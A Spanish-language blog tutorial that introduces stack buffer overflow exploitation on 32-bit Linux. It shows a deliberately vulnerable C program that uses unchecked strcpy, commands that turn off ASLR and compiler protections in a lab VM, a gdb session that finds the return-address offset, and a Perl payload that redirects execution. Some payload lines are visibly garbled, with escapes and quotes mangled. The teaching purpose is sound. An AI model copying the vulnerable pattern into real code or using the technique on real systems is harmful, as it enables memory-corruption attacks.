Esta pagina se ve mejor con JavaScript habilitado

Inicio al arte del exploiting sobre Linux-x86

 ·  🎃 kr0m

La creación de un exploit es un proceso complejo que comporta un gran número de conocimientos técnicos, mucha paciencia y un toque de intuición. No es que yo sea ningún experto en la materia de hecho me acabo de embarcar en mi primer viaje hacia este maravilloso mundo, voy a ir explicando las técnicas que vaya aprendiendo de forma práctica y clara, todas las pruebas se realizarán sobre x86 ya que de este modo resultará mas sencillo aunque los conceptos son totalmente trasladables a x86_64. Comenzaremos con un sencillo programa vulnerable a lo que llaman stack overrun, stack smashing o buffer overrun.

El material aquí presentado es meramente didáctico y no se está incitando de ninguna manera a la utilización de este con propósitos destructivos, dicho esto no me responsabilizo del uso que se le pueda llegar a dar ya que el delito no radica en el propio conocimiento si no en el uso que se le pueda dar.

Para realizar todas nuestras pruebas vamos a instalar una máquina virtual donde poder experimentar sin problemas ya que se van a tener que desactivar ciertas protecciones en el kernel y compilar los binarios deshabilitando ciertas características relacionadas con la seguridad en el compilador, de este modo tendremos un SO donde probar de forma conceptual todos los métodos, yo personalmente he elegido Debianx86 pero realmente cualquier otra distro serviría de igual manera.

  • Los cambios a realizar a nivel de SO son:

    echo 0 > /proc/sys/kernel/randomize_va_space

  • La parámetros a deshabilitar en el compilador:

    gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack

Antes de nada debemos explicar ciertos conceptos necesarios para entender las técnicas mas adelante presentadas, cualquier software se ejecuta de forma secuencial, es decir una instrucción detrás de otra, la siguiente instrucción a ejecutar se almacena en un registro llamado IP, mediante programación se puede desviar esa ejecución hacia funciones que realicen tareas concretas, el programa en un principio ejecutará el flujo normal hasta que llega a una llamada a una función, en ese momento guarda en RAM el registro IP, ejecuta la función y retorna al flujo principal del programa porque fué capaz de leer el valor almacenado en RAM del registro IP.

Con un ejemplo se verá mas fácil, imaginemos que tenemos el siguiente programa:

#include <string.h>
#include <stdlib.h>
#include <stdio.h>

void func (char *arg){
    char nombre[32];
    strcpy(nombre, arg);
    printf("Alfaexploit overrun proof of concept, welcome: %s", nombre);
}

int main(int argc, char *argv[]){
    if (argc != 2 ){
        printf("Uso: %s NOMBRE", argv[0]);
        exit(0);
    }

    func(argv[1]);
    printf("Fin del programa");
    return 0;
}

Compilamos el programa:

gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack overrun.c -o overrun

Este software simplemente espera un argumento que es le nombre del usuario y llama a la función func con ese argumento, cuando este software sea ejecutado y se llame a la función func el estado de la memoria será:

La porción de RAM utilizada por un programa cuando se llama a una función es comunmente llamada pila o stack, debemos tener en cuenta que la pila crece de abajo a arriba, como podemos ver hay una parte de la ram que almacena la copia del registro IP(EIP) en el momento de realizar la llamada a la función, en el programa no se tiene en cuenta que el dato introducido sea de una longitud concreta, se realiza la copia a ciegas a la variable nombre, aprovechando este descuido podemos hacer crecer la variable nombre hasta llegar a ocupar la dirección de retorno EIP haciendo así que el software termine retornando a otra posición de memoria y no la que se guardó al realizar la llamada a la función func.

Si ejecutamos el programa con una entrada normal:

root@reversedbox:~# ./overrun kr0m

 Alfaexploit overrun proof of concept, welcome: kr0m
Fin del programa

Como prueba vamos a hacer que la posición de memoria EIP coincida con la de la función func, consiguiendo así que el printf se ejecute varias veces ya que al terminar de ejecutar func se retornará de nuevo a dicha función, para sacar la dirección de memoria podemos utilizar la herramienta objdump del siguiente modo:

objdump -d overrun |grep func

080484ac <func>:
 8048514: e8 93 ff ff ff call 80484ac <func>

NOTA: En la arquitectura x86 se utiliza little-endian por lo tanto la dirección de memoria quedaría del siguiente modo: ac 84 04 08

Ejecutamos el software con la variable de entrada modificada para que logre sobreescribir el EIP con la dirección de memoria donde se encuentra la función func:

root@reversedbox:~# ./overrun perl -e 'print "A"x44 . "xacx84x04x08"'

 Alfaexploit overrun proof of concept, welcome: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¬
 Alfaexploit overrun proof of concept, welcome: Uåì8D$E?$è¬þÿÿE?D$Ç$èþÿÿÉÃUåäðìt!E
Violación de segmento

Ouuuu yeahhh baby, hemos conseguido desviar el flujo de ejecución normal del software debido a un fallo de programación, lo que hemos hecho es introducir una variable compuesta por 44 veces el carácter A, simplemente es relleno para conseguir alcanzar la posición del EIP y justo en esa posición escribir el valor de la dirección de memoria de la función func de este modo sobreescribiendo el valor original de EIP.

NOTA: Que se tenga que introducir 44 veces el carácter A no es debido a una epifanía, este valor es calculado cargando mediante gdb(el depurador de gnu) el software, la técnica mas sencilla consiste en ir metiendo variables de cierta longitud con valores como letras, cuando el software salta a la dirección marcada por el EIP sobreescrito nos indica la dirección en concreto, pasando esta dirección en hexa a ascii podemos saber que letra fué la que sobreescribió el EIP y por lo tanto a cuantos bytes está el EIP del ESP.

Instalamos gdb:

apt-get install gdb

Cargamos el programa:

gdb overrun

Corremos el programa de forma normal:

(gdb) run kr0m

Starting program: /root/overrun kr0m
 Alfaexploit overrun proof of concept, welcome: kr0m
Fin del programa

[Inferior 1 (process 3525) exited normally]

Pero si ahora lo corremos con una entrada que sea el abecedario repetido cuatro veces obtenemos:

(gdb) run AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Starting program: /root/overrun AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

 Alfaexploit overrun proof of concept, welcome: AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ

Program received signal SIGSEGV, Segmentation fault.
0x4c4c4c4c in ?? ()

Podemos ver que ha intentado retornar a la dirección 0x4c4c4c4c, en otras palabras el valor de EIP a la hora de volver al flujo principal del programa tenía el valor 0x4c4c4c4c, por lo tanto sabiendo que 0x4c4c4c4c en ascii es LLLLLLLL ya sabemos que relleno se necesita, si contamos el número de carácteres de la AAAA - KKKK nos da 44, justo el número de veces con el que habiamos llamado el programa con la ayuda de perl:

root@reversedbox:~# ./overrun ` perl -e ‘print “A"x44 . “xacx84x04x08”’`

Esto es simplemente una introducción conceptual y un ejemplo básico de su funcionamiento, conforme vaya adquiriendo destreza en las nuevas artes iré publicando artículos mas complejos y a su vez mas entretenidos ;)

Si te ha gustado el artículo puedes invitarme a un RedBull aquí